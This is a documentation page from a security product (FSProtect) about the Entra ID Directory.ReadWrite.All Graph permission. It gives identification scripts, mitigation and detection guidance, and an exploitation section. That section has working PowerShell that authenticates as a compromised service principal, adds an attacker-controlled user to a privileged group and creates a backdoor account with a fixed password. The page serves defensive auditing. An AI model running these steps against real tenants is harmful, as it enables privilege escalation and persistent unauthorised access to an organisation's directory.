> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_mg_directory_readwrite_all.md).

# AZ\_MG\_DIRECTORY\_READWRITE\_ALL

## Summary

|                               |                                                 |
| ----------------------------- | ----------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_DIRECTORY\_READWRITE\_ALL               |
| **Entra ID (Azure AD) Alias** | Directory.ReadWrite.All                         |
| **Affected Object Types**     | Service Principals, Applications                |
| **Exploitation Certainty**    | Certain                                         |
| **Graph Permission / Role**   | Application Permission: Directory.ReadWrite.All |

## Description

`AZ_MG_DIRECTORY_READWRITE_ALL` represents a Microsoft Graph application permission that grants **read and write access to all directory data** in Microsoft Entra ID (Azure AD). This is one of the most dangerous permissions that can be assigned to an application or service principal because it allows:

* **Create, read, update, and delete users** (except passwords for admin users)
* **Create, read, update, and delete groups** including security groups and Microsoft 365 groups
* **Manage group memberships** adding/removing members from any group
* **Read and modify applications and service principals**
* **Read and modify directory roles and role assignments** (with some restrictions)
* **Manage devices and device configurations**
* **Read and modify organizational settings**
* **Manage domains and directory extensions**

This permission is often abused for:

* **Privilege escalation**: Adding controlled accounts to privileged groups (e.g., Global Administrators role-assignable groups)
* **Persistence**: Creating backdoor accounts or service principals
* **Lateral movement**: Modifying existing accounts or groups to gain access to additional resources
* **Data exfiltration**: Enumerating all directory objects and their properties

**Important**: This is an **application permission** that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.

## Identification

### PowerShell

#### Find Service Principals with Directory.ReadWrite.All

```powershell
Connect-AzAccount

$permissionId = "19dbc75e-c2e2-444c-a770-ec69d8559fc7"  # Directory.ReadWrite.All GUID

# Step 1: Get all app role assignments across the tenant
$uri = "https://graph.microsoft.com/v1.0/servicePrincipals?`$expand=appRoleAssignments"
$allServicePrincipals = @()

while ($uri) {
    $response = Invoke-AzRestMethod -Uri $uri -Method GET
    $data = $response.Content | ConvertFrom-Json
    $allServicePrincipals += $data.value
    $uri = $data.'@odata.nextLink'
}

Write-Host "Retrieved $($allServicePrincipals.Count) service principals"

# Step 2: Filter for those with Directory.ReadWrite.All
$results = @()

foreach ($sp in $allServicePrincipals) {
    $matchingAssignments = $sp.appRoleAssignments | Where-Object { $_.appRoleId -eq $permissionId }
    
    foreach ($assignment in $matchingAssignments) {
        $results += [PSCustomObject]@{
            ServicePrincipalName = $sp.displayName
            ServicePrincipalId   = $sp.id
            AppId                = $sp.appId
            PermissionName       = "Directory.ReadWrite.All"
            PermissionId         = $permissionId
            ResourceId           = $assignment.resourceId
            AssignedDateTime     = $assignment.createdDateTime
        }
    }
}

Write-Host "`nFound $($results.Count) service principals with Directory.ReadWrite.All"
$results | Export-Csv -Path ".\DirectoryReadWriteAll_ServicePrincipals.csv" -NoTypeInformation -Encoding UTF8
$results | Format-Table -AutoSize
```

## Exploitation

An attacker with access to a service principal that has `Directory.ReadWrite.All` can perform numerous privilege escalation attacks.

### Add User to a Privileged Group

```powershell
# Authenticate as the compromised service principal
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$clientSecret = "<client-secret>"

$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId

# Find a role-assignable group with Global Administrator role
## First, get the group ID of a privileged group
$groupId = "<target-group-id>"
$userId = "<attacker-controlled-user-id>"

# Add user to the group
$uri = "https://graph.microsoft.com/v1.0/groups/$groupId/members/`$ref"
$body = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$userId"
} | ConvertTo-Json

Invoke-AzRestMethod -Uri $uri -Method POST -Payload $body
```

![Add User To Privilaged Group](/files/qXu61Vzg9kR2KMdmeg75)

### Create a Backdoor User Account

```powershell
# Create a new user with a known password
$uri = "https://graph.microsoft.com/v1.0/users"
$body = @{
    accountEnabled = $true
    displayName = "IT Support"
    mailNickname = "itsupport"
    userPrincipalName = "itsupport@contoso.onmicrosoft.com"
    passwordProfile = @{
        forceChangePasswordNextSignIn = $false
        password = "ComplexP@ssw0rd123!"
    }
} | ConvertTo-Json

$response = Invoke-AzRestMethod -Uri $uri -Method POST -Payload $body
$newUser = $response.Content | ConvertFrom-Json
Write-Output "Created user: $($newUser.userPrincipalName) with ID: $($newUser.id)"
```

![Create A backdoor user](/files/DRtp2xEipeWA4o3SkHKH)

## Mitigation

* **Audit all service principals** with `Directory.ReadWrite.All` and remove unnecessary grants.
  * Go to **Microsoft Entra ID** -> **App registrations** -> select the application -> **API permissions**.
  * Remove the `Directory.ReadWrite.All` permission if not required.
* **Apply least privilege**: Replace with more specific permissions where possible:
  * Use `User.ReadWrite.All` instead if only user management is needed.
  * Use `Group.ReadWrite.All` instead if only group management is needed.
  * Use `Application.Read.All` if only read access is required.
* **Implement Access Reviews** for applications with high-privilege permissions:
  * Go to **Identity Governance** -> **Access Reviews** -> **New access review**.
  * Review applications with sensitive Graph permissions regularly.
* **Use Privileged Identity Management (PIM)** for just-in-time access where applicable.
* **Monitor permission grants** and alert on new `Directory.ReadWrite.All` assignments.

## Detection

Detect permission grants and suspicious activity in **Audit logs**.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add app role assignment to service principal**
  * **Add user**
  * **Add member to group**
  * **Update application**

Monitor for suspicious patterns:

* New user creation by service principals.
* Group membership changes by service principals.
* Application credential additions by service principals.
* Bulk directory modifications outside of change management windows.

## References

* [Microsoft Graph Permissions Reference - Directory.ReadWrite.All](https://learn.microsoft.com/en-us/graph/permissions-reference#directoryreadwriteall)
* [Microsoft Graph API - Service Principal App Role Assignments](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-approleassignments)
* [Securing workload identities with Microsoft Entra ID](https://learn.microsoft.com/en-us/entra/workload-id/workload-identities-overview)
* [BloodHound - AZMGGrantAppRoles](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#azmggrantapproles)
* [ROADtools - Azure AD Exploration Framework](https://github.com/dirkjanm/ROADtools)
